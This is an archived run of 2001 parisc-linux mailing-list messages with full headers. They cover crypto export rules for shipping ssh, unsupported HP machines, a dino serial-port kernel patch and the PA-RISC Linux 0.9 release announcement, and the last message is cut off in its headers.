Date: Wed, 30 May 2001 13:13:37 -0400 (EDT)
Lines: 24
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.33.0105301310180.6841-100000@pokey.513erich.iwaynet.net>
References: <200105301504.JAA09492@puffin.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620156 19791 80.91.229.3 (22 Nov 2014 01:35:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:35:56 +0000 (UTC)
Cc: <plaven@ozemail.com.au>, <parisc-linux@lists.parisc-linux.org>
To: Grant Grundler <grundler@puffin.external.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed May 30 11:16:29 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pokey.513erich.iwaynet.net (router.513erich.iwaynet.net [206.244.44.225])
	by dsl2.external.hp.com (Postfix) with ESMTP id A3839482A
	for <parisc-linux@lists.parisc-linux.org>; Wed, 30 May 2001 11:16:05 -0600 (MDT)
Original-Received: from localhost (localhost.localnet [127.0.0.1])
	by pokey.513erich.iwaynet.net (8.9.3/8.9.3) with ESMTP id NAA17516;
	Wed, 30 May 2001 13:13:37 -0400
Original-Sender: <herrold@513erich.iwaynet.net>
In-Reply-To: <200105301504.JAA09492@puffin.external.hp.com>
Xref: news.gmane.org gmane.linux.ports.parisc:11169

On Wed, 30 May 2001, Grant Grundler wrote:

> "Pete" wrote:
> > Can I ask the reason why this is being taken out?
>
> ssh is subject to US export restrictions. We can't export
> a CD image with it either.
> Debian has it in "non-us" section for the same reason - so it can be
> built/distributed "off-shore". Stupid, but that's the law here, now.

Not to put too fine a point on it, but the US ITAR regulations were
relaxed over a year ago for non-commercial distribution after a
single notification.  The relevant RSA patent is expired for six
months.  Please contact me offlist if any questions -- the OpenSSH
and OpenSSL packages seem like no-brainers ...

(I am a lawyer, although not _your_ lawyer, and 'read and write
this "code" proficiently)

-- Russ





From - Thu Nov 08 21:17:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matt Taggart <taggart@carmen.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: List of packages for hppa ISO release version 
 2
Date: Wed, 30 May 2001 11:31:26 -0600
Lines: 39
Approved: news@gmane.org
Message-ID: <20010530173126.765C837CFD@carmen.fc.hp.com>
References: <Pine.LNX.4.33.0105301310180.6841-100000@pokey.513erich.iwaynet.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620156 19799 80.91.229.3 (22 Nov 2014 01:35:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:35:56 +0000 (UTC)
Cc: Grant Grundler <grundler@puffin.external.hp.com>,
	plaven@ozemail.com.au, parisc-linux@lists.parisc-linux.org
To: herrold <herrold@owlriver.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed May 30 11:28:42 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from atlrel2.hp.com (atlrel2.hp.com [156.153.255.202])
	by dsl2.external.hp.com (Postfix) with ESMTP id 85B1D482A
	for <parisc-linux@lists.parisc-linux.org>; Wed, 30 May 2001 11:28:42 -0600 (MDT)
Original-Received: from carmen.fc.hp.com (carmen.fc.hp.com [15.1.51.72])
	by atlrel2.hp.com (Postfix) with ESMTP
	id A41AC121E; Wed, 30 May 2001 13:28:41 -0400 (EDT)
Original-Received: from carmen.fc.hp.com (localhost [127.0.0.1])
	by carmen.fc.hp.com (Postfix) with ESMTP
	id 765C837CFD; Wed, 30 May 2001 11:31:26 -0600 (MDT)
X-Mailer: exmh version 2.3.1 01/18/2001 (debian 2.3.1-1) with nmh-1.0.4+dev
In-Reply-To: Message from herrold <herrold@owlriver.com> 
   of "Wed, 30 May 2001 13:13:37 EDT." <Pine.LNX.4.33.0105301310180.6841-100000@pokey.513erich.iwaynet.net> 
Xref: news.gmane.org gmane.linux.ports.parisc:11170

herrold writes...

> On Wed, 30 May 2001, Grant Grundler wrote:
> 
> > "Pete" wrote:
> > > Can I ask the reason why this is being taken out?
> >
> > ssh is subject to US export restrictions. We can't export
> > a CD image with it either.
> > Debian has it in "non-us" section for the same reason - so it can be
> > built/distributed "off-shore". Stupid, but that's the law here, now.
> 
> Not to put too fine a point on it, but the US ITAR regulations were
> relaxed over a year ago for non-commercial distribution after a
> single notification.  The relevant RSA patent is expired for six
> months.  Please contact me offlist if any questions -- the OpenSSH
> and OpenSSL packages seem like no-brainers ...

My, non-legal-word-of-mouth-only, understanding is that the BXA still need to 
be contacted for each release. I'm not sure what that entails but it doesn't 
sound like freedom to me. IMHO, there's something to be said for following the 
letter of the law to make a political point.

FYI- we did decide to ship bind9 which is also in non-US because bind upstream 
has gone through the effort required for export.

Anyway given that we plan to release in the next day or so, we don't have time 
to deal with it anyway. Maybe we'll have figured it out for the next release, 
and hopefully Debian will have solved it for us before then. For now point at 
non-US.

-- 
Matt Taggart        Linux Development Lab
taggart@fc.hp.com   HP Linux Systems Operation






From - Thu Nov 08 21:17:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Bdale Garbee <bdale@gag.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: List of packages for hppa ISO release vers ion 2
Date: 30 May 2001 11:47:45 -0600
Lines: 15
Approved: news@gmane.org
Message-ID: <87zobu3f0e.fsf@rover.gag.com>
References: <B9957F974955D411829400D0B74FF27A04BF77A5@xtor01.canada.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620157 19807 80.91.229.3 (22 Nov 2014 01:35:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:35:57 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed May 30 11:47:57 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from rover.gag.com (rover.gag.com [192.133.104.32])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2A8D9482A
	for <parisc-linux@lists.parisc-linux.org>; Wed, 30 May 2001 11:47:57 -0600 (MDT)
Original-Received: by rover.gag.com (Postfix, from userid 1000)
	id 2B64035E9A; Wed, 30 May 2001 11:47:45 -0600 (MDT)
Original-Sender: bdale@rover.gag.com
In-Reply-To: <B9957F974955D411829400D0B74FF27A04BF77A5@xtor01.canada.hp.com>
Original-Lines: 12
User-Agent: Gnus/5.0808 (Gnus v5.8.8) Emacs/20.7
Xref: news.gmane.org gmane.linux.ports.parisc:11171

kevin_carson@hp.com (CARSON,KEVIN HP-Canada,ex1) writes:

> Howabout having the master archive in another country (like France) 

France reportedly has some of the most evil crypto laws on the planet.  It
would not be a good country to host in.

The Debian project in general goes around and around about this, there's a
team seeking explicit legal guidance right now which may resolve the issue
for good.

Bdale




From - Thu Nov 08 21:17:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthieu Delahaye <delahaym@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: List of packages for hppa ISO release vers ion 2
Date: Thu, 31 May 2001 12:47:26 +0200
Lines: 34
Approved: news@gmane.org
Message-ID: <3B16213E.7EB373DA@esiee.fr>
References: <B9957F974955D411829400D0B74FF27A04BF77A5@xtor01.canada.hp.com> <87zobu3f0e.fsf@rover.gag.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620157 19809 80.91.229.3 (22 Nov 2014 01:35:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:35:57 +0000 (UTC)
To: Bdale Garbee <bdale@gag.com>,
	parisc-linux <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu May 31 04:36:05 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.esiee.fr (mail.esiee.fr [147.215.1.3])
	by dsl2.external.hp.com (Postfix) with ESMTP id 33CD3482A
	for <parisc-linux@lists.parisc-linux.org>; Thu, 31 May 2001 04:36:02 -0600 (MDT)
Original-Received: from esiee.fr (pc5158a.esiee.fr [147.215.50.165])
	by mail.esiee.fr (Postfix) with ESMTP
	id 96758D15B7; Thu, 31 May 2001 12:35:55 +0200 (CEST)
Original-Sender: delahaym@esiee.fr
X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.2.17 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:11172

Bdale Garbee wrote:
> France reportedly has some of the most evil crypto laws on the planet.  It
> would not be a good country to host in.

You're right. To give an overview:
France signed Wassenaar accords. As an implementation of it,
France began to completely forgive using of cryptographics tools
in 1995. Then, in 1999, using  of cryptographic tools were completely
allowed to use as an authentification means. But if you want to use them
in order to keep confidential your documents/sessions, it become quite
complicated... France makes distinction between importing, exporting,
using and giving a such tool. More over law change if you use it for
private
use or for your work. So, nobody knows really what we can really can do
with
these tools but lawyers, but I haven't one.
The current debate in France is that now french government want to
certificate 
tools release by release. If it could be a great issue for commercial
software,
it is not for free software, which version numbers are changing almost
every time. 

I just give here an overview. It's more complicated than it, but it's
the essential.
If someone think US law is too restrictive, just have a look on french
law ;-)
-- 
Matthieu Delahaye
ESIEE Team
http://mkhppa1.esiee.fr/




From - Thu Nov 08 21:17:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Booting palinux-0.6.1-32STI ISO on HP 705 problem (failed to load kernel)
Date: Thu, 31 May 2001 13:34:34 +0100
Lines: 32
Approved: news@gmane.org
Message-ID: <20010531133434.V25745@linuxcare.com>
References: <3B14C2B3.6176C2E@am.qub.ac.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620157 19811 80.91.229.3 (22 Nov 2014 01:35:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:35:57 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Derek Wilson <derek.wilson@am.qub.ac.uk>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu May 31 08:27:35 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from rhirst.linuxcare.com (pc2-hems4-0-cust95.bre.cable.ntl.com [213.107.176.95])
	by dsl2.external.hp.com (Postfix) with ESMTP id 34D9F482A
	for <parisc-linux@lists.parisc-linux.org>; Thu, 31 May 2001 08:27:32 -0600 (MDT)
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id 2267CB008; Thu, 31 May 2001 13:34:34 +0100 (BST)
X-Mailer: Mutt 1.0us
In-Reply-To: <3B14C2B3.6176C2E@am.qub.ac.uk>; from derek.wilson@am.qub.ac.uk on Wed, May 30, 2001 at 10:51:47AM +0100
Xref: news.gmane.org gmane.linux.ports.parisc:11173

On Wed, May 30, 2001 at 10:51:47AM +0100, Derek Wilson wrote:
> 
> Hello
> 
> 
> First of all, thank you to everyone working on parisc-linux.
> 
> I have been asked to install linux on a few HP 700 machines. I was
> recommended to try a 705 machine first as it had a CDROM and reportedly

This is a list of machines which are known NOT to work at the moment:

Superdome
V class
T class
N class
L3000
E, F, G, H, I class
735/FWdiff
715/Scorpio {33,50,75}
705, 710, 720, 730, 750


Typical 32 bit machines in use are 712, A180, B180, B160, B132,
715/Mirage (64,80,100), ....


Richard





From - Thu Nov 08 21:17:51 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Sonne, Byron" <bsonne@mtsinai.on.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Toronto area, 712/60 complete system, anyone want it?
Date: Thu, 31 May 2001 10:33:33 -0400
Lines: 14
Approved: news@gmane.org
Message-ID: <A789F9F553FCD4118C670008C791D6DA30B41E@mshmail5.mtsinai.toronto.on.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
X-Trace: ger.gmane.org 1416620158 19814 80.91.229.3 (22 Nov 2014 01:35:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:35:58 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu May 31 08:34:52 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp.healthlink.on.ca (ns.mtsinai.on.ca [205.211.160.10])
	by dsl2.external.hp.com (Postfix) with ESMTP id 30402482A
	for <parisc-linux@lists.parisc-linux.org>; Thu, 31 May 2001 08:34:51 -0600 (MDT)
Original-Received: from mshmail4.mtsinai.toronto.on.ca ([192.168.1.30])
          by smtp.healthlink.on.ca (Post.Office MTA v3.5.3 release 223
          ID# 0-0U10L2S100V35) with ESMTP id ca
          for <parisc-linux@lists.parisc-linux.org>;
          Thu, 31 May 2001 10:36:02 -0400
Original-Received: by mshmail1.mtsinai.toronto.on.ca with Internet Mail Service (5.5.2650.21)
	id <JWTLW0S9>; Thu, 31 May 2001 10:33:34 -0400
X-Mailer: Internet Mail Service (5.5.2650.21)
Xref: news.gmane.org gmane.linux.ports.parisc:11174

Greetings all, and once again thanks for all the work you've put into this.

A couple of years ago I picked up a complete 712/60 (box, 17" monitor,
keyboard, mouse, and a SCSI CDROM that actually works with it). I don't use
it anymore, it's just sitting in the closet.

If someone wants to swing by my place and pick it up, that's cool. I live a
minute away from Bathurst and Eglinton. Of course, no cost is attached, I
just want the closet space back!

Send me an email if yer interested and we can arrange a date and time.




From - Thu Nov 08 21:17:51 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Clement MOYROUD <moyroudc@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Patch for dino serial port on B-class workstations
Date: Thu, 31 May 2001 17:53:06 +0200
Lines: 130
Approved: news@gmane.org
Message-ID: <3B1668E2.3040003@esiee.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
 boundary="------------070204050007050803040106"
X-Trace: ger.gmane.org 1416620158 19817 80.91.229.3 (22 Nov 2014 01:35:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:35:58 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu May 31 09:54:56 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.esiee.fr (mail.esiee.fr [147.215.1.3])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3B265482A
	for <parisc-linux@lists.parisc-linux.org>; Thu, 31 May 2001 09:54:56 -0600 (MDT)
Original-Received: from esiee.fr (pc5158a.esiee.fr [147.215.50.165])
	by mail.esiee.fr (Postfix) with ESMTP id 9CC8FD15AA
	for <parisc-linux@lists.parisc-linux.org>; Thu, 31 May 2001 17:54:53 +0200 (CEST)
User-Agent: Mozilla/5.0 (X11; U; Linux 2.4.4 i686; en-US; 0.8.1) Gecko/20010421
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:11175

This is a multi-part message in MIME format.
--------------070204050007050803040106
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit

Hi all !

I have made a patch for dino. It's a bit ugly, but before going on with 
a rewrite of the dino driver, I would like to have some feedback. So 
feel free to apply it on your kernel tree and give me some remarks about it.

Thanks,

Clement
ESIEE Team
mkhppa1.esiee.fr

--------------070204050007050803040106
Content-Type: text/plain;
 name="patch"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline;
 filename="patch"

diff -Nru linux.old/drivers/gsc/dino.c linux/drivers/gsc/dino.c
--- linux.old/drivers/gsc/dino.c	Thu May 31 16:56:20 2001
+++ linux/drivers/gsc/dino.c	Thu May 31 16:55:07 2001
@@ -66,6 +66,7 @@
 #include <asm/irq.h>		/* for "gsc" irq functions */
 #include <asm/gsc.h>
 
+#include "busdevice.h"
 
 #undef DINO_DEBUG
 
@@ -542,6 +543,14 @@
 	}
 }
 
+/* Here is where the dino's serial port gets its irq on B-class workstations */
+
+static int
+dino_find_irq(struct busdevice *dino_dev, struct hp_device *dev)
+{
+	return 10;
+}
+
 static void __init
 dino_bios_init(void)
 {
@@ -804,18 +813,33 @@
 }
 
 static int __init
-dino_common_init(struct dino_device *dino_dev)
+dino_common_init(struct hp_device *d, struct dino_device *dino_dev)
 {
 	int status;
 	u32 eim;
 	struct gsc_irq gsc_irq;
 	struct resource *res;
 
+	struct busdevice *dino;
+	int ret;
+
 	pcibios_register_hba((struct pci_hba_data *) dino_dev);
 
 	pci_bios = &dino_bios_ops;   /* used by pci_scan_bus() */
 	pci_port = &dino_port_ops;
 
+
+        /* Needed for the serial port to work. Quite ugly for now */
+
+	dino = kmalloc(sizeof(struct busdevice), GFP_KERNEL);
+	if(!dino)
+		return -ENOMEM;
+	
+	dino->name = "Dino";
+	dino->hpa = d->hpa;
+	dino->find_irq = dino_find_irq;
+	
+
 	/*
 	** Note: SMP systems can make use of IRR1/IAR1 registers
 	**   But it won't buy much performance except in very
@@ -859,6 +883,20 @@
 		return(1);
 	}
 
+	/* Register busdevice for the serial port */
+
+	dino->parent_irq = gsc_irq.irq;
+	dino->eim = ((u32) gsc_irq.txn_addr) | gsc_irq.txn_data;
+
+	ret = register_busdevice(d,dino);
+	if (ret) {
+	    kfree(dino);
+	    return ret;
+	}
+
+	dino->busdev_region = dino_dev->dino_region;
+	
+
 	/*
 	** This enables DINO to generate interrupts when it sees
 	** any of it's inputs *change*. Just asserting an IRQ
@@ -945,7 +983,7 @@
 		dino_bridge_init(dino_dev);
 	}
 
-	if (dino_common_init(dino_dev))
+	if (dino_common_init(d,dino_dev))
 		return(1);
 
 	/*
diff -Nru linux.old/drivers/gsc/serial.c linux/drivers/gsc/serial.c
--- linux.old/drivers/gsc/serial.c	Thu May 31 16:56:14 2001
+++ linux/drivers/gsc/serial.c	Thu May 31 16:54:57 2001
@@ -35,6 +35,7 @@
 
 #include "busdevice.h"
 
+
 static int serial_line_nr;
 
 static int __init 
@@ -87,9 +89,12 @@
 	return 0;
 }
 

From - Thu Nov 08 21:17:51 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Miri Groentman <mirig@voltaire.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Returning from a blocking select call
Date: Thu, 31 May 2001 19:50:59 +0200
Lines: 14
Approved: news@gmane.org
Message-ID: <20083A3BAEF9D211BDB600805F8B14F3FCE997@NTSERVER>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="windows-1255"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416620158 19821 80.91.229.3 (22 Nov 2014 01:35:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:35:58 +0000 (UTC)
To: "'parisc-linux@lists.parisc-linux.org'" <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu May 31 10:54:03 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from ntserver.voltaire.com (unknown [212.150.138.2])
	by dsl2.external.hp.com (Postfix) with ESMTP id A0B04482A
	for <parisc-linux@lists.parisc-linux.org>; Thu, 31 May 2001 10:54:01 -0600 (MDT)
Original-Received: by NTSERVER with Internet Mail Service (5.5.2653.19)
	id <L8TNP5N5>; Thu, 31 May 2001 19:51:00 +0200
X-Mailer: Internet Mail Service (5.5.2653.19)
Xref: news.gmane.org gmane.linux.ports.parisc:11176

I=92m writing a program in which I=92m using select in order to wait =
for socket
i/o.=20
I=92m waiting infinitely on this select call (by passing NULL as =
timeout).
Is there any way in which I can return from a blocking select call, =
other
than receiving input?
Thanks
-Miri =20





From - Thu Nov 08 21:17:51 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matt Taggart <taggart@carmen.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Version 0.9 of PA-RISC Linux Released
Date: Thu, 31 May 2001 21:02:03 -0600
Lines: 39
Approved: news@gmane.org
Message-ID: <20010601030203.EE8B937EF8@carmen.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620159 19824 80.91.229.3 (22 Nov 2014 01:35:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:35:59 +0000 (UTC)
To: parisc-linux@parisc-linux.org,
	parisc-linux-announce@parisc-linux.org, debian-hppa@lists.debian.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu May 31 20:59:18 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from atlrel1.hp.com (atlrel1.hp.com [156.153.255.210])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 93CE6482A; Thu, 31 May 2001 20:59:18 -0600 (MDT)
Original-Received: from carmen.fc.hp.com (carmen.fc.hp.com [15.1.51.72])
	by atlrel1.hp.com (Postfix) with ESMTP
	id 172F3397; Thu, 31 May 2001 22:59:18 -0400 (EDT)
Original-Received: from carmen.fc.hp.com (localhost [127.0.0.1])
	by carmen.fc.hp.com (Postfix) with ESMTP
	id EE8B937EF8; Thu, 31 May 2001 21:02:03 -0600 (MDT)
X-Mailer: exmh version 2.3.1 01/18/2001 (debian 2.3.1-1) with nmh-1.0.4+dev
Xref: news.gmane.org gmane.linux.ports.parisc:11177

Version 0.9 of PA-RISC Linux Released

On May 31, 2001 the PA-RISC Linux development community released version
0.9, the latest version of Linux for computers using Hewlett Packard's
PA-RISC processor. This release is the result of several years of work by
developers in the Free Software community including developers from The
Debian Project, Hewlett Packard, and Linuxcare.

- Latest Debian Installer 
- Support for 32 and 64 bit systems 
- Over 4000 Debian packages 
- Full development environment 
- Support for large memory (up to 16GB)
- Ability to use Debian's apt tool to update to the latest
    package versions

The 0.9 release install CDROM images and related documentation can be found at

http://parisc-linux.org/release-0.9/

Information about PA-RISC Linux is available at

http://parisc-linux.org/

Any questions or comments about the release should be directed to the
mailing list at

parisc-linux@parisc-linux.org

-- 
Matt Taggart        Linux Development Lab
taggart@fc.hp.com   HP Linux Systems Operation








From - Thu Nov 08 21:17:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: R P Herrold <herrold@owlriver.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Version 0.9 of PA-RISC Linux Released
Date: Thu, 31 May 2001 23:25:50 -0400 (EDT)
Lines: 23
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.33.0105312322380.25498-100000@swampfox.owlriver.com>
References: <20010601030203.EE8B937EF8@carmen.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620159 19827 80.91.229.3 (22 Nov 2014 01:35:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:35:59 +0000 (UTC)
To: Matt Taggart <taggart@carmen.fc.hp.com>,
	<parisc-linux@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu May 31 21:32:36 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.owlriver.com (swampfox.owlriver.com [206.21.107.147])
	by dsl2.external.hp.com (Postfix) with ESMTP id 24F2D482A
	for <parisc-linux@parisc-linux.org>; Thu, 31 May 2001 21:32:35 -0600 (MDT)
Original-Received: from localhost (herrold@localhost)
	by mail.owlriver.com (8.11.2/8.11.2) with ESMTP id f513PoJ30994;
	Thu, 31 May 2001 23:25:50 -0400
In-Reply-To: <20010601030203.EE8B937EF8@carmen.fc.hp.com>
Xref: news.gmane.org gmane.linux.ports.parisc:11178

On Thu, 31 May 2001, Matt Taggart wrote:

> The 0.9 release install CDROM images and related documentation can be found at
>
> http://parisc-linux.org/release-0.9/

Congratulations ...

website hint -- stolen from the FSF -- list the SIZE of the
images, to permit potential downloaders decide if it is worth
it.

hint 2:  add md5sums of the images -- both as gzipped, and of
the ISO for validation before burning, in the body of the
webpage -- must be external to the CD readme, for it would
change the values ...

-- Russ






From - Thu Nov 08 21:17:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthieu Delahaye <delahaym@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Version 0.9 of PA-RISC Linux Released
Date: Fri, 01 Jun 2001 10:24:30 +0200
Lines: 26
Approved: news@gmane.org
Message-ID: <3B17513E.30FC980E@esiee.fr>
References: <Pine.LNX.4.33.0105312322380.25498-100000@swampfox.owlriver.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620159 19828 80.91.229.3 (22 Nov 2014 01:35:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:35:59 +0000 (UTC)
To: R P Herrold <herrold@owlriver.com>,
	parisc-linux <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jun  1 02:12:52 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.esiee.fr (mail.esiee.fr [147.215.1.3])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1D1F9482A
	for <parisc-linux@lists.parisc-linux.org>; Fri,  1 Jun 2001 02:12:52 -0600 (MDT)
Original-Received: from esiee.fr (pc5158a.esiee.fr [147.215.50.165])
	by mail.esiee.fr (Postfix) with ESMTP
	id 23951D15B1; Fri,  1 Jun 2001 10:12:50 +0200 (CEST)
Original-Sender: delahaym@esiee.fr
X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.2.17 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:11179

> hint 2:  add md5sums of the images -- both as gzipped, and of
> the ISO for validation before burning, in the body of the
> webpage -- must be external to the CD readme, for it would
> change the values ...

Until the parisc-linux.org webpage is updated, you can find the
md5sums (of the gzipped format only) to the download page at our site:
http://mkhppa1.esiee.fr/en/download.html
Don't assume our md5sums are linked to the ISOs available at
parisc-linux.
We made ourself the compression (and the compression rate isn't the
same).
So they only correspond to the ISOs you can download from our site.

I'll update this afternoon (GMT+2) our site in order to be in
conformance
with the official site, and so provide ISO with exactly the same gziped
files. 
Each ISOs are 130Mo average.
-- 
Matthieu Delahaye
ESIEE Team
http://mkhppa1.esiee.fr/




From - Thu Nov 08 21:17:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Cox <alan@lxorguk.ukuu.org.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Version 0.9 of PA-RISC Linux Released
Date: Fri, 1 Jun 2001 09:34:11 +0100 (BST)
Lines: 24
Approved: news@gmane.org
Message-ID: <E155kNn-0000Ct-00@the-village.bc.nu>
References: <Pine.LNX.4.33.0105312322380.25498-100000@swampfox.owlriver.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620160 19833 80.91.229.3 (22 Nov 2014 01:36:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
